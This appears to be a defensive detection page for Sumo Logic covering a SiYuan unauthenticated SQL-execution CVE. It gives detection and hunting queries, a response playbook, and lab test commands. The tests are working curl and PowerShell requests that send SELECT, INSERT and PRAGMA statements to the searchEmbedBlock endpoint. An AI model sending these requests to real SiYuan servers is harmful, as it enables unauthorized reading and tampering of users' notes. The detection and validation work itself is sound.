Detect SiYuan Unauthenticated Arbitrary SQL Execution via searchEmbedBlock (CVE-2026-69084) in Sumo Logic CSE
Detects exploitation of CVE-2026-69084, an unauthenticated arbitrary SQL execution vulnerability in SiYuan note-taking software's kernel when running in publish (reader) mode. The searchEmbedBlock API endpoint passes an attacker-controlled SQL statement to a read-write database handle without authentication or sandboxing, allowing a remote unauthenticated reader to execute arbitrary raw SQL — including cross-notebook reads and writes (INSERT/UPDATE/DELETE) — against the underlying SQLite database. CVSS 10.0. A public PoC exists. This detection surfaces anomalous HTTP requests to the embed-block search API carrying raw SQL keywords, write statements, or SQL-injection markers, and correlates them with unauthenticated access patterns in publish mode. Affected: github.com/siyuan-note/siyuan/kernel < 0.0.0-20260721002947-23a17d44b5f3.
MITRE ATT&CK
- Tactic
- Initial Access Collection Impact
Sumo Detection Query
_sourceCategory=*proxy* OR _sourceCategory=*web* OR _sourceCategory=*siyuan*
| where (%"url" matches "*searchEmbedBlock*") or (%"uri_path" matches "*searchEmbedBlock*")
| toLowerCase(field=body) as body_lc
| where body_lc matches /(insert |update |delete |drop |attach |pragma|union\s+select|1=1|--|;)/
| count as request_count, values(body_lc) as sample_bodies by src_ip, dest_ip, url
| where request_count >= 1
| sort by request_count descSumo Logic search identifying requests to the SiYuan searchEmbedBlock endpoint carrying raw SQL or write statements.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate authenticated embed-block SELECT queries.
- Authorized scanning activity.
- Administrator embed queries referencing internal tables.
Other platforms for CVE-2026-69084
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Unauthenticated searchEmbedBlock SELECT probe
Expected signal: Reverse-proxy/kernel access log entry for /api/search/searchEmbedBlock with a request body containing 'SELECT * FROM blocks'.
- Test 2Cross-notebook write via searchEmbedBlock
Expected signal: Access log entry with an INSERT statement in the searchEmbedBlock request body; a new row in the blocks table.
- Test 3PRAGMA/ATTACH probe via searchEmbedBlock
Expected signal: Access log entry containing 'PRAGMA database_list' in the searchEmbedBlock request body.
References (6)
- https://github.com/siyuan-note/siyuan/security/advisories/GHSA-vh22-h7hf-www7
- https://nvd.nist.gov/vuln/detail/CVE-2026-69084
- https://github.com/siyuan-note/siyuan/commit/0015cbafbf685363b217bbc46283a3c0f51c79fa
- https://github.com/siyuan-note/siyuan/commit/23a17d44b5f3da59c85e7fbee11236e6c12386b9
- https://www.vulncheck.com/advisories/siyuan-before-sql-injection-via-searchembedblock
- https://github.com/advisories/GHSA-vh22-h7hf-www7
Response Playbook
Triage
- Confirm the SiYuan kernel version behind the targeted host; anything before 0.0.0-20260721002947-23a17d44b5f3 (commit 23a17d44b5f3) is vulnerable. Check whether the instance is running in publish (reader) mode, which is the exploitable configuration.
- Extract the full request body of the flagged searchEmbedBlock call and inspect the embedded SQL statement — determine whether it is a benign SELECT or a write/injection (INSERT/UPDATE/DELETE/DROP/ATTACH/PRAGMA) or cross-notebook read.
- Correlate the source IP against authentication logs: a genuine exploit is unauthenticated, so requests reaching searchEmbedBlock without a valid session cookie or from an unexpected external IP raise confidence.
- Assess repetition and enumeration: multiple varied SQL payloads from one source within a short window indicate active exploitation rather than an isolated legitimate query.
Containment
- Immediately place the SiYuan kernel behind an authenticating reverse proxy or disable publish mode until patched, blocking unauthenticated access to /api/search/searchEmbedBlock.
- Block the offending source IP(s) at the WAF/firewall and add a WAF rule dropping requests to searchEmbedBlock whose body contains SQL write keywords.
- If write statements were observed, take the affected notebook database offline / snapshot it to prevent further tampering pending forensic review.
Evidence Collection
- Preserve reverse-proxy and SiYuan kernel access logs covering the exploitation window, including full request bodies and source IPs.
- Snapshot the SiYuan SQLite database files (blocks, spans, attributes, etc.) before remediation to capture any attacker-inserted or modified rows.
- Capture the SiYuan kernel process log and any journal/WAL files that may show the executed SQL and resulting writes.
Escalation Criteria
- !Escalate to incident response if any write statement (INSERT/UPDATE/DELETE/DROP/ATTACH) or cross-notebook read succeeded against the database, indicating data integrity or confidentiality impact.
- !Escalate if the same source demonstrates enumeration of multiple notebooks or exfiltration of block content, or if PRAGMA/ATTACH statements suggest attempts to reach files outside the intended database.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Reverse-proxy / SiYuan kernel access log entries for /api/search/searchEmbedBlock containing SQL payloads in the request body. - >
SQLite WAL/journal files and modified rows in the blocks/attributes tables reflecting attacker writes. - >
Kernel stdout/stderr logs recording executed statements or SQL errors.
Tuning Guidance
In authenticated (non-publish) SiYuan deployments the embed-block feature legitimately accepts SQL SELECT statements, so baseline the endpoint before alerting: restrict the write/injection keyword set (INSERT/UPDATE/DELETE/DROP/ATTACH/PRAGMA) and require the requesting session to be unauthenticated or from an untrusted network to reduce noise. Whitelist known administrator source IPs and internal automation. Raise severity when multiple distinct SQL payloads originate from a single external source within a short window.
Hunting Queries
Hunts for historical searchEmbedBlock requests carrying SQL write or injection keywords, grouped by source, to find earlier exploitation attempts.
CommonSecurityLog | where RequestURL has "searchEmbedBlock" | extend b=tolower(AdditionalExtensions) | where b has_any ("insert ","update ","delete ","attach ","pragma","union select") | summarize count() by SourceIP, bin(TimeGenerated, 1h)index=web (uri_path="*searchEmbedBlock*") | eval b=lower(request_body) | where match(b,"(insert |update |delete |attach |pragma|union\s+select)") | stats count by src_ip, uri_pathAtomic Red Team Tests
Sends an unauthenticated POST to the SiYuan searchEmbedBlock endpoint with a benign SELECT to confirm reader-reachable raw SQL execution.
Command
curl -s -X POST 'http://siyuan.lab.local:6806/api/search/searchEmbedBlock' -H 'Content-Type: application/json' -d '{"stmt":"SELECT * FROM blocks LIMIT 1","excludeIDs":[],"headingMode":0,"breadcrumb":false}'Cleanup
echo 'no state change for a SELECT probe; nothing to clean up'Expected Telemetry
Reverse-proxy/kernel access log entry for /api/search/searchEmbedBlock with a request body containing 'SELECT * FROM blocks'.
Expected Detection
KQL/SPL rules match on the searchEmbedBlock path with 'select *'/'from blocks' keyword in body.
Attempts an INSERT statement through the searchEmbedBlock endpoint to demonstrate the read-write handle allowing data manipulation.
Command
curl -s -X POST 'http://siyuan.lab.local:6806/api/search/searchEmbedBlock' -H 'Content-Type: application/json' -d '{"stmt":"INSERT INTO blocks (id, content) VALUES (\'atomic-poc\', \'cve-2026-69084\')","excludeIDs":[]}'Cleanup
curl -s -X POST 'http://siyuan.lab.local:6806/api/search/searchEmbedBlock' -H 'Content-Type: application/json' -d '{"stmt":"DELETE FROM blocks WHERE id = \'atomic-poc\'","excludeIDs":[]}'Expected Telemetry
Access log entry with an INSERT statement in the searchEmbedBlock request body; a new row in the blocks table.
Expected Detection
Detection rules fire on the 'insert ' write keyword in the searchEmbedBlock body.
Issues a PRAGMA statement through the endpoint to test for out-of-schema SQL execution against the SQLite handle.
Command
powershell -c "Invoke-RestMethod -Method Post -Uri 'http://siyuan.lab.local:6806/api/search/searchEmbedBlock' -ContentType 'application/json' -Body '{\"stmt\":\"PRAGMA database_list\",\"excludeIDs\":[]}'"Cleanup
echo 'PRAGMA database_list is read-only; no cleanup required'Expected Telemetry
Access log entry containing 'PRAGMA database_list' in the searchEmbedBlock request body.
Expected Detection
Detection rules match on the 'pragma' keyword in the searchEmbedBlock body.